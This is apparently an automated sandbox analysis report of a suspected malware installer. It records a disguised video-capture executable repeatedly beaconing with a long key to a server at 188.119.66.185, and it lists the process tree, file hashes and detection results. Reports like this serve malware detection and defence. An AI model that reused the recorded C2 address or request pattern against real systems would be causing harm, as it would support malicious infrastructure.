                                                                                        2024-12-18 13:01:04 UTC283OUTGET /ai/?key=8f3f2b3ae115416b731ce2a8231e72eee7c4db7e40b82a8dcd6c946851e300888b3250aa15d005633775b0e650fdba1e9c95b1c92975ccf55bc592fe5a818ece02a1b7e2984c57cad7021dda36261fdb368c HTTP/1.1
                                                                                        User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
                                                                                        Host: 188.119.66.185
                                                                                        2024-12-18 13:01:05 UTC200INHTTP/1.1 200 OK
                                                                                        Server: nginx/1.18.0 (Ubuntu)
                                                                                        Date: Wed, 18 Dec 2024 13:01:05 GMT
                                                                                        Content-Type: text/html; charset=UTF-8
                                                                                        Transfer-Encoding: chunked
                                                                                        Connection: close
                                                                                        X-Powered-By: PHP/7.4.33
                                                                                        2024-12-18 13:01:05 UTC24INData Raw: 65 0d 0a 38 62 37 32 33 36 36 33 65 63 31 33 32 35 0d 0a 30 0d 0a 0d 0a
                                                                                        Data Ascii: e8b723663ec13250


                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                        5192.168.2.549837188.119.66.1854435776C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exe
                                                                                        TimestampBytes transferredDirectionData
                                                                                        2024-12-18 13:01:07 UTC283OUTGET /ai/?key=8f3f2b3ae115416b731ce2a8231e72eee7c4db7e40b82a8dcd6c946851e300888b3250aa15d005633775b0e650fdba1e9c95b1c92975ccf55bc592fe5a818ece02a1b7e2984c57cad7021dda36261fdb368c HTTP/1.1
                                                                                        User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
                                                                                        Host: 188.119.66.185
                                                                                        2024-12-18 13:01:07 UTC200INHTTP/1.1 200 OK
                                                                                        Server: nginx/1.18.0 (Ubuntu)
                                                                                        Date: Wed, 18 Dec 2024 13:01:07 GMT
                                                                                        Content-Type: text/html; charset=UTF-8
                                                                                        Transfer-Encoding: chunked
                                                                                        Connection: close
                                                                                        X-Powered-By: PHP/7.4.33
                                                                                        2024-12-18 13:01:07 UTC24INData Raw: 65 0d 0a 38 62 37 32 33 36 36 33 65 63 31 33 32 35 0d 0a 30 0d 0a 0d 0a
                                                                                        Data Ascii: e8b723663ec13250


                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                        6192.168.2.549843188.119.66.1854435776C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exe
                                                                                        TimestampBytes transferredDirectionData
                                                                                        2024-12-18 13:01:09 UTC283OUTGET /ai/?key=8f3f2b3ae115416b731ce2a8231e72eee7c4db7e40b82a8dcd6c946851e300888b3250aa15d005633775b0e650fdba1e9c95b1c92975ccf55bc592fe5a818ece02a1b7e2984c57cad7021dda36261fdb368c HTTP/1.1
                                                                                        User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
                                                                                        Host: 188.119.66.185
                                                                                        2024-12-18 13:01:10 UTC200INHTTP/1.1 200 OK
                                                                                        Server: nginx/1.18.0 (Ubuntu)
                                                                                        Date: Wed, 18 Dec 2024 13:01:10 GMT
                                                                                        Content-Type: text/html; charset=UTF-8
                                                                                        Transfer-Encoding: chunked
                                                                                        Connection: close
                                                                                        X-Powered-By: PHP/7.4.33
                                                                                        2024-12-18 13:01:10 UTC24INData Raw: 65 0d 0a 38 62 37 32 33 36 36 33 65 63 31 33 32 35 0d 0a 30 0d 0a 0d 0a
                                                                                        Data Ascii: e8b723663ec13250


                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                        7192.168.2.549849188.119.66.1854435776C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exe
                                                                                        TimestampBytes transferredDirectionData
                                                                                        2024-12-18 13:01:12 UTC283OUTGET /ai/?key=8f3f2b3ae115416b731ce2a8231e72eee7c4db7e40b82a8dcd6c946851e300888b3250aa15d005633775b0e650fdba1e9c95b1c92975ccf55bc592fe5a818ece02a1b7e2984c57cad7021dda36261fdb368c HTTP/1.1
                                                                                        User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
                                                                                        Host: 188.119.66.185
                                                                                        2024-12-18 13:01:13 UTC200INHTTP/1.1 200 OK
                                                                                        Server: nginx/1.18.0 (Ubuntu)
                                                                                        Date: Wed, 18 Dec 2024 13:01:13 GMT
                                                                                        Content-Type: text/html; charset=UTF-8
                                                                                        Transfer-Encoding: chunked
                                                                                        Connection: close
                                                                                        X-Powered-By: PHP/7.4.33
                                                                                        2024-12-18 13:01:13 UTC24INData Raw: 65 0d 0a 38 62 37 32 33 36 36 33 65 63 31 33 32 35 0d 0a 30 0d 0a 0d 0a
                                                                                        Data Ascii: e8b723663ec13250


                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                        8192.168.2.549855188.119.66.1854435776C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exe
                                                                                        TimestampBytes transferredDirectionData
                                                                                        2024-12-18 13:01:15 UTC283OUTGET /ai/?key=8f3f2b3ae115416b731ce2a8231e72eee7c4db7e40b82a8dcd6c946851e300888b3250aa15d005633775b0e650fdba1e9c95b1c92975ccf55bc592fe5a818ece02a1b7e2984c57cad7021dda36261fdb368c HTTP/1.1
                                                                                        User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
                                                                                        Host: 188.119.66.185
                                                                                        2024-12-18 13:01:16 UTC200INHTTP/1.1 200 OK
                                                                                        Server: nginx/1.18.0 (Ubuntu)
                                                                                        Date: Wed, 18 Dec 2024 13:01:16 GMT
                                                                                        Content-Type: text/html; charset=UTF-8
                                                                                        Transfer-Encoding: chunked
                                                                                        Connection: close
                                                                                        X-Powered-By: PHP/7.4.33
                                                                                        2024-12-18 13:01:16 UTC24INData Raw: 65 0d 0a 38 62 37 32 33 36 36 33 65 63 31 33 32 35 0d 0a 30 0d 0a 0d 0a
                                                                                        Data Ascii: e8b723663ec13250


                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                        9192.168.2.549865188.119.66.1854435776C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exe
                                                                                        TimestampBytes transferredDirectionData
                                                                                        2024-12-18 13:01:18 UTC283OUTGET /ai/?key=8f3f2b3ae115416b731ce2a8231e72eee7c4db7e40b82a8dcd6c946851e300888b3250aa15d005633775b0e650fdba1e9c95b1c92975ccf55bc592fe5a818ece02a1b7e2984c57cad7021dda36261fdb368c HTTP/1.1
                                                                                        User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
                                                                                        Host: 188.119.66.185
                                                                                        2024-12-18 13:01:19 UTC200INHTTP/1.1 200 OK
                                                                                        Server: nginx/1.18.0 (Ubuntu)
                                                                                        Date: Wed, 18 Dec 2024 13:01:19 GMT
                                                                                        Content-Type: text/html; charset=UTF-8
                                                                                        Transfer-Encoding: chunked
                                                                                        Connection: close
                                                                                        X-Powered-By: PHP/7.4.33
                                                                                        2024-12-18 13:01:19 UTC24INData Raw: 65 0d 0a 38 62 37 32 33 36 36 33 65 63 31 33 32 35 0d 0a 30 0d 0a 0d 0a
                                                                                        Data Ascii: e8b723663ec13250


                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                        10192.168.2.549872188.119.66.1854435776C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exe
                                                                                        TimestampBytes transferredDirectionData
                                                                                        2024-12-18 13:01:21 UTC283OUTGET /ai/?key=8f3f2b3ae115416b731ce2a8231e72eee7c4db7e40b82a8dcd6c946851e300888b3250aa15d005633775b0e650fdba1e9c95b1c92975ccf55bc592fe5a818ece02a1b7e2984c57cad7021dda36261fdb368c HTTP/1.1
                                                                                        User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
                                                                                        Host: 188.119.66.185
                                                                                        2024-12-18 13:01:22 UTC200INHTTP/1.1 200 OK
                                                                                        Server: nginx/1.18.0 (Ubuntu)
                                                                                        Date: Wed, 18 Dec 2024 13:01:22 GMT
                                                                                        Content-Type: text/html; charset=UTF-8
                                                                                        Transfer-Encoding: chunked
                                                                                        Connection: close
                                                                                        X-Powered-By: PHP/7.4.33
                                                                                        2024-12-18 13:01:22 UTC24INData Raw: 65 0d 0a 38 62 37 32 33 36 36 33 65 63 31 33 32 35 0d 0a 30 0d 0a 0d 0a
                                                                                        Data Ascii: e8b723663ec13250


                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                        11192.168.2.549878188.119.66.1854435776C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exe
                                                                                        TimestampBytes transferredDirectionData
                                                                                        2024-12-18 13:01:24 UTC283OUTGET /ai/?key=8f3f2b3ae115416b731ce2a8231e72eee7c4db7e40b82a8dcd6c946851e300888b3250aa15d005633775b0e650fdba1e9c95b1c92975ccf55bc592fe5a818ece02a1b7e2984c57cad7021dda36261fdb368c HTTP/1.1
                                                                                        User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
                                                                                        Host: 188.119.66.185
                                                                                        2024-12-18 13:01:24 UTC200INHTTP/1.1 200 OK
                                                                                        Server: nginx/1.18.0 (Ubuntu)
                                                                                        Date: Wed, 18 Dec 2024 13:01:24 GMT
                                                                                        Content-Type: text/html; charset=UTF-8
                                                                                        Transfer-Encoding: chunked
                                                                                        Connection: close
                                                                                        X-Powered-By: PHP/7.4.33
                                                                                        2024-12-18 13:01:24 UTC24INData Raw: 65 0d 0a 38 62 37 32 33 36 36 33 65 63 31 33 32 35 0d 0a 30 0d 0a 0d 0a
                                                                                        Data Ascii: e8b723663ec13250


                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                        12192.168.2.549884188.119.66.1854435776C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exe
                                                                                        TimestampBytes transferredDirectionData
                                                                                        2024-12-18 13:01:26 UTC283OUTGET /ai/?key=8f3f2b3ae115416b731ce2a8231e72eee7c4db7e40b82a8dcd6c946851e300888b3250aa15d005633775b0e650fdba1e9c95b1c92975ccf55bc592fe5a818ece02a1b7e2984c57cad7021dda36261fdb368c HTTP/1.1
                                                                                        User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
                                                                                        Host: 188.119.66.185
                                                                                        2024-12-18 13:01:27 UTC200INHTTP/1.1 200 OK
                                                                                        Server: nginx/1.18.0 (Ubuntu)
                                                                                        Date: Wed, 18 Dec 2024 13:01:27 GMT
                                                                                        Content-Type: text/html; charset=UTF-8
                                                                                        Transfer-Encoding: chunked
                                                                                        Connection: close
                                                                                        X-Powered-By: PHP/7.4.33
                                                                                        2024-12-18 13:01:27 UTC24INData Raw: 65 0d 0a 38 62 37 32 33 36 36 33 65 63 31 33 32 35 0d 0a 30 0d 0a 0d 0a
                                                                                        Data Ascii: e8b723663ec13250


                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                        13192.168.2.549892188.119.66.1854435776C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exe
                                                                                        TimestampBytes transferredDirectionData
                                                                                        2024-12-18 13:01:29 UTC283OUTGET /ai/?key=8f3f2b3ae115416b731ce2a8231e72eee7c4db7e40b82a8dcd6c946851e300888b3250aa15d005633775b0e650fdba1e9c95b1c92975ccf55bc592fe5a818ece02a1b7e2984c57cad7021dda36261fdb368c HTTP/1.1
                                                                                        User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
                                                                                        Host: 188.119.66.185
                                                                                        2024-12-18 13:01:29 UTC200INHTTP/1.1 200 OK
                                                                                        Server: nginx/1.18.0 (Ubuntu)
                                                                                        Date: Wed, 18 Dec 2024 13:01:29 GMT
                                                                                        Content-Type: text/html; charset=UTF-8
                                                                                        Transfer-Encoding: chunked
                                                                                        Connection: close
                                                                                        X-Powered-By: PHP/7.4.33
                                                                                        2024-12-18 13:01:29 UTC24INData Raw: 65 0d 0a 38 62 37 32 33 36 36 33 65 63 31 33 32 35 0d 0a 30 0d 0a 0d 0a
                                                                                        Data Ascii: e8b723663ec13250


                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                        14192.168.2.549897188.119.66.1854435776C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exe
                                                                                        TimestampBytes transferredDirectionData
                                                                                        2024-12-18 13:01:31 UTC283OUTGET /ai/?key=8f3f2b3ae115416b731ce2a8231e72eee7c4db7e40b82a8dcd6c946851e300888b3250aa15d005633775b0e650fdba1e9c95b1c92975ccf55bc592fe5a818ece02a1b7e2984c57cad7021dda36261fdb368c HTTP/1.1
                                                                                        User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
                                                                                        Host: 188.119.66.185
                                                                                        2024-12-18 13:01:32 UTC200INHTTP/1.1 200 OK
                                                                                        Server: nginx/1.18.0 (Ubuntu)
                                                                                        Date: Wed, 18 Dec 2024 13:01:32 GMT
                                                                                        Content-Type: text/html; charset=UTF-8
                                                                                        Transfer-Encoding: chunked
                                                                                        Connection: close
                                                                                        X-Powered-By: PHP/7.4.33
                                                                                        2024-12-18 13:01:32 UTC24INData Raw: 65 0d 0a 38 62 37 32 33 36 36 33 65 63 31 33 32 35 0d 0a 30 0d 0a 0d 0a
                                                                                        Data Ascii: e8b723663ec13250


                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                        15192.168.2.549904188.119.66.1854435776C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exe
                                                                                        TimestampBytes transferredDirectionData
                                                                                        2024-12-18 13:01:34 UTC283OUTGET /ai/?key=8f3f2b3ae115416b731ce2a8231e72eee7c4db7e40b82a8dcd6c946851e300888b3250aa15d005633775b0e650fdba1e9c95b1c92975ccf55bc592fe5a818ece02a1b7e2984c57cad7021dda36261fdb368c HTTP/1.1
                                                                                        User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
                                                                                        Host: 188.119.66.185
                                                                                        2024-12-18 13:01:35 UTC200INHTTP/1.1 200 OK
                                                                                        Server: nginx/1.18.0 (Ubuntu)
                                                                                        Date: Wed, 18 Dec 2024 13:01:35 GMT
                                                                                        Content-Type: text/html; charset=UTF-8
                                                                                        Transfer-Encoding: chunked
                                                                                        Connection: close
                                                                                        X-Powered-By: PHP/7.4.33
                                                                                        2024-12-18 13:01:35 UTC24INData Raw: 65 0d 0a 38 62 37 32 33 36 36 33 65 63 31 33 32 35 0d 0a 30 0d 0a 0d 0a
                                                                                        Data Ascii: e8b723663ec13250


                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                        16192.168.2.549910188.119.66.1854435776C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exe
                                                                                        TimestampBytes transferredDirectionData
                                                                                        2024-12-18 13:01:37 UTC283OUTGET /ai/?key=8f3f2b3ae115416b731ce2a8231e72eee7c4db7e40b82a8dcd6c946851e300888b3250aa15d005633775b0e650fdba1e9c95b1c92975ccf55bc592fe5a818ece02a1b7e2984c57cad7021dda36261fdb368c HTTP/1.1
                                                                                        User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
                                                                                        Host: 188.119.66.185
                                                                                        2024-12-18 13:01:38 UTC200INHTTP/1.1 200 OK
                                                                                        Server: nginx/1.18.0 (Ubuntu)
                                                                                        Date: Wed, 18 Dec 2024 13:01:38 GMT
                                                                                        Content-Type: text/html; charset=UTF-8
                                                                                        Transfer-Encoding: chunked
                                                                                        Connection: close
                                                                                        X-Powered-By: PHP/7.4.33
                                                                                        2024-12-18 13:01:38 UTC24INData Raw: 65 0d 0a 38 62 37 32 33 36 36 33 65 63 31 33 32 35 0d 0a 30 0d 0a 0d 0a
                                                                                        Data Ascii: e8b723663ec13250


                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                        17192.168.2.549920188.119.66.1854435776C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exe
                                                                                        TimestampBytes transferredDirectionData
                                                                                        2024-12-18 13:01:40 UTC283OUTGET /ai/?key=8f3f2b3ae115416b731ce2a8231e72eee7c4db7e40b82a8dcd6c946851e300888b3250aa15d005633775b0e650fdba1e9c95b1c92975ccf55bc592fe5a818ece02a1b7e2984c57cad7021dda36261fdb368c HTTP/1.1
                                                                                        User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
                                                                                        Host: 188.119.66.185
                                                                                        2024-12-18 13:01:41 UTC200INHTTP/1.1 200 OK
                                                                                        Server: nginx/1.18.0 (Ubuntu)
                                                                                        Date: Wed, 18 Dec 2024 13:01:41 GMT
                                                                                        Content-Type: text/html; charset=UTF-8
                                                                                        Transfer-Encoding: chunked
                                                                                        Connection: close
                                                                                        X-Powered-By: PHP/7.4.33
                                                                                        2024-12-18 13:01:41 UTC24INData Raw: 65 0d 0a 38 62 37 32 33 36 36 33 65 63 31 33 32 35 0d 0a 30 0d 0a 0d 0a
                                                                                        Data Ascii: e8b723663ec13250


                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                        18192.168.2.549927188.119.66.1854435776C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exe
                                                                                        TimestampBytes transferredDirectionData
                                                                                        2024-12-18 13:01:43 UTC283OUTGET /ai/?key=8f3f2b3ae115416b731ce2a8231e72eee7c4db7e40b82a8dcd6c946851e300888b3250aa15d005633775b0e650fdba1e9c95b1c92975ccf55bc592fe5a818ece02a1b7e2984c57cad7021dda36261fdb368c HTTP/1.1
                                                                                        User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
                                                                                        Host: 188.119.66.185
                                                                                        2024-12-18 13:01:44 UTC200INHTTP/1.1 200 OK
                                                                                        Server: nginx/1.18.0 (Ubuntu)
                                                                                        Date: Wed, 18 Dec 2024 13:01:44 GMT
                                                                                        Content-Type: text/html; charset=UTF-8
                                                                                        Transfer-Encoding: chunked
                                                                                        Connection: close
                                                                                        X-Powered-By: PHP/7.4.33
                                                                                        2024-12-18 13:01:44 UTC24INData Raw: 65 0d 0a 38 62 37 32 33 36 36 33 65 63 31 33 32 35 0d 0a 30 0d 0a 0d 0a
                                                                                        Data Ascii: e8b723663ec13250


                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                        19192.168.2.549933188.119.66.1854435776C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exe
                                                                                        TimestampBytes transferredDirectionData
                                                                                        2024-12-18 13:01:46 UTC283OUTGET /ai/?key=8f3f2b3ae115416b731ce2a8231e72eee7c4db7e40b82a8dcd6c946851e300888b3250aa15d005633775b0e650fdba1e9c95b1c92975ccf55bc592fe5a818ece02a1b7e2984c57cad7021dda36261fdb368c HTTP/1.1
                                                                                        User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
                                                                                        Host: 188.119.66.185
                                                                                        2024-12-18 13:01:47 UTC200INHTTP/1.1 200 OK
                                                                                        Server: nginx/1.18.0 (Ubuntu)
                                                                                        Date: Wed, 18 Dec 2024 13:01:47 GMT
                                                                                        Content-Type: text/html; charset=UTF-8
                                                                                        Transfer-Encoding: chunked
                                                                                        Connection: close
                                                                                        X-Powered-By: PHP/7.4.33
                                                                                        2024-12-18 13:01:47 UTC24INData Raw: 65 0d 0a 38 62 37 32 33 36 36 33 65 63 31 33 32 35 0d 0a 30 0d 0a 0d 0a
                                                                                        Data Ascii: e8b723663ec13250


                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                        20192.168.2.549941188.119.66.1854435776C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exe
                                                                                        TimestampBytes transferredDirectionData
                                                                                        2024-12-18 13:01:48 UTC283OUTGET /ai/?key=8f3f2b3ae115416b731ce2a8231e72eee7c4db7e40b82a8dcd6c946851e300888b3250aa15d005633775b0e650fdba1e9c95b1c92975ccf55bc592fe5a818ece02a1b7e2984c57cad7021dda36261fdb368c HTTP/1.1
                                                                                        User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
                                                                                        Host: 188.119.66.185
                                                                                        2024-12-18 13:01:49 UTC200INHTTP/1.1 200 OK
                                                                                        Server: nginx/1.18.0 (Ubuntu)
                                                                                        Date: Wed, 18 Dec 2024 13:01:49 GMT
                                                                                        Content-Type: text/html; charset=UTF-8
                                                                                        Transfer-Encoding: chunked
                                                                                        Connection: close
                                                                                        X-Powered-By: PHP/7.4.33
                                                                                        2024-12-18 13:01:49 UTC24INData Raw: 65 0d 0a 38 62 37 32 33 36 36 33 65 63 31 33 32 35 0d 0a 30 0d 0a 0d 0a
                                                                                        Data Ascii: e8b723663ec13250


                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                        21192.168.2.549947188.119.66.1854435776C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exe
                                                                                        TimestampBytes transferredDirectionData
                                                                                        2024-12-18 13:01:51 UTC283OUTGET /ai/?key=8f3f2b3ae115416b731ce2a8231e72eee7c4db7e40b82a8dcd6c946851e300888b3250aa15d005633775b0e650fdba1e9c95b1c92975ccf55bc592fe5a818ece02a1b7e2984c57cad7021dda36261fdb368c HTTP/1.1
                                                                                        User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
                                                                                        Host: 188.119.66.185
                                                                                        2024-12-18 13:01:52 UTC200INHTTP/1.1 200 OK
                                                                                        Server: nginx/1.18.0 (Ubuntu)
                                                                                        Date: Wed, 18 Dec 2024 13:01:52 GMT
                                                                                        Content-Type: text/html; charset=UTF-8
                                                                                        Transfer-Encoding: chunked
                                                                                        Connection: close
                                                                                        X-Powered-By: PHP/7.4.33
                                                                                        2024-12-18 13:01:52 UTC24INData Raw: 65 0d 0a 38 62 37 32 33 36 36 33 65 63 31 33 32 35 0d 0a 30 0d 0a 0d 0a
                                                                                        Data Ascii: e8b723663ec13250


                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                        22192.168.2.549956188.119.66.1854435776C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exe
                                                                                        TimestampBytes transferredDirectionData
                                                                                        2024-12-18 13:01:54 UTC283OUTGET /ai/?key=8f3f2b3ae115416b731ce2a8231e72eee7c4db7e40b82a8dcd6c946851e300888b3250aa15d005633775b0e650fdba1e9c95b1c92975ccf55bc592fe5a818ece02a1b7e2984c57cad7021dda36261fdb368c HTTP/1.1
                                                                                        User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
                                                                                        Host: 188.119.66.185
                                                                                        2024-12-18 13:01:55 UTC200INHTTP/1.1 200 OK
                                                                                        Server: nginx/1.18.0 (Ubuntu)
                                                                                        Date: Wed, 18 Dec 2024 13:01:55 GMT
                                                                                        Content-Type: text/html; charset=UTF-8
                                                                                        Transfer-Encoding: chunked
                                                                                        Connection: close
                                                                                        X-Powered-By: PHP/7.4.33
                                                                                        2024-12-18 13:01:55 UTC24INData Raw: 65 0d 0a 38 62 37 32 33 36 36 33 65 63 31 33 32 35 0d 0a 30 0d 0a 0d 0a
                                                                                        Data Ascii: e8b723663ec13250


                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                        23192.168.2.549962188.119.66.1854435776C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exe
                                                                                        TimestampBytes transferredDirectionData
                                                                                        2024-12-18 13:01:57 UTC283OUTGET /ai/?key=8f3f2b3ae115416b731ce2a8231e72eee7c4db7e40b82a8dcd6c946851e300888b3250aa15d005633775b0e650fdba1e9c95b1c92975ccf55bc592fe5a818ece02a1b7e2984c57cad7021dda36261fdb368c HTTP/1.1
                                                                                        User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
                                                                                        Host: 188.119.66.185
                                                                                        2024-12-18 13:01:58 UTC200INHTTP/1.1 200 OK
                                                                                        Server: nginx/1.18.0 (Ubuntu)
                                                                                        Date: Wed, 18 Dec 2024 13:01:57 GMT
                                                                                        Content-Type: text/html; charset=UTF-8
                                                                                        Transfer-Encoding: chunked
                                                                                        Connection: close
                                                                                        X-Powered-By: PHP/7.4.33
                                                                                        2024-12-18 13:01:58 UTC24INData Raw: 65 0d 0a 38 62 37 32 33 36 36 33 65 63 31 33 32 35 0d 0a 30 0d 0a 0d 0a
                                                                                        Data Ascii: e8b723663ec13250


                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                        24192.168.2.549969188.119.66.1854435776C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exe
                                                                                        TimestampBytes transferredDirectionData
                                                                                        2024-12-18 13:02:00 UTC283OUTGET /ai/?key=8f3f2b3ae115416b731ce2a8231e72eee7c4db7e40b82a8dcd6c946851e300888b3250aa15d005633775b0e650fdba1e9c95b1c92975ccf55bc592fe5a818ece02a1b7e2984c57cad7021dda36261fdb368c HTTP/1.1
                                                                                        User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
                                                                                        Host: 188.119.66.185
                                                                                        2024-12-18 13:02:01 UTC200INHTTP/1.1 200 OK
                                                                                        Server: nginx/1.18.0 (Ubuntu)
                                                                                        Date: Wed, 18 Dec 2024 13:02:00 GMT
                                                                                        Content-Type: text/html; charset=UTF-8
                                                                                        Transfer-Encoding: chunked
                                                                                        Connection: close
                                                                                        X-Powered-By: PHP/7.4.33
                                                                                        2024-12-18 13:02:01 UTC24INData Raw: 65 0d 0a 38 62 37 32 33 36 36 33 65 63 31 33 32 35 0d 0a 30 0d 0a 0d 0a
                                                                                        Data Ascii: e8b723663ec13250


                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                        25192.168.2.549978188.119.66.1854435776C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exe
                                                                                        TimestampBytes transferredDirectionData
                                                                                        2024-12-18 13:02:03 UTC283OUTGET /ai/?key=8f3f2b3ae115416b731ce2a8231e72eee7c4db7e40b82a8dcd6c946851e300888b3250aa15d005633775b0e650fdba1e9c95b1c92975ccf55bc592fe5a818ece02a1b7e2984c57cad7021dda36261fdb368c HTTP/1.1
                                                                                        User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
                                                                                        Host: 188.119.66.185
                                                                                        2024-12-18 13:02:04 UTC200INHTTP/1.1 200 OK
                                                                                        Server: nginx/1.18.0 (Ubuntu)
                                                                                        Date: Wed, 18 Dec 2024 13:02:03 GMT
                                                                                        Content-Type: text/html; charset=UTF-8
                                                                                        Transfer-Encoding: chunked
                                                                                        Connection: close
                                                                                        X-Powered-By: PHP/7.4.33
                                                                                        2024-12-18 13:02:04 UTC24INData Raw: 65 0d 0a 38 62 37 32 33 36 36 33 65 63 31 33 32 35 0d 0a 30 0d 0a 0d 0a
                                                                                        Data Ascii: e8b723663ec13250


                                                                                        Click to jump to process

                                                                                        Click to jump to process

                                                                                        Click to dive into process behavior distribution

                                                                                        Click to jump to process

                                                                                        Target ID:0
                                                                                        Start time:07:59:57
                                                                                        Start date:18/12/2024
                                                                                        Path:C:\Users\user\Desktop\basx.exe
                                                                                        Wow64 process (32bit):true
                                                                                        Commandline:"C:\Users\user\Desktop\basx.exe"
                                                                                        Imagebase:0x400000
                                                                                        File size:3'676'893 bytes
                                                                                        MD5 hash:B385C83532528A9D5A92C2D5CC44FFA3
                                                                                        Has elevated privileges:true
                                                                                        Has administrator privileges:true
                                                                                        Programmed in:C, C++ or other language
                                                                                        Reputation:low
                                                                                        Has exited:false

                                                                                        Target ID:1
                                                                                        Start time:07:59:57
                                                                                        Start date:18/12/2024
                                                                                        Path:C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmp
                                                                                        Wow64 process (32bit):true
                                                                                        Commandline:"C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmp" /SL5="$2041A,3427790,56832,C:\Users\user\Desktop\basx.exe"
                                                                                        Imagebase:0x400000
                                                                                        File size:706'560 bytes
                                                                                        MD5 hash:048F12CF9C44FE7D997B30F23A9A2228
                                                                                        Has elevated privileges:true
                                                                                        Has administrator privileges:true
                                                                                        Programmed in:C, C++ or other language
                                                                                        Yara matches:
                                                                                        • Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 00000001.00000002.3384557748.00000000058C0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                                        Antivirus matches:
                                                                                        • Detection: 4%, ReversingLabs
                                                                                        Reputation:low
                                                                                        Has exited:false

                                                                                        Target ID:3
                                                                                        Start time:07:59:59
                                                                                        Start date:18/12/2024
                                                                                        Path:C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exe
                                                                                        Wow64 process (32bit):true
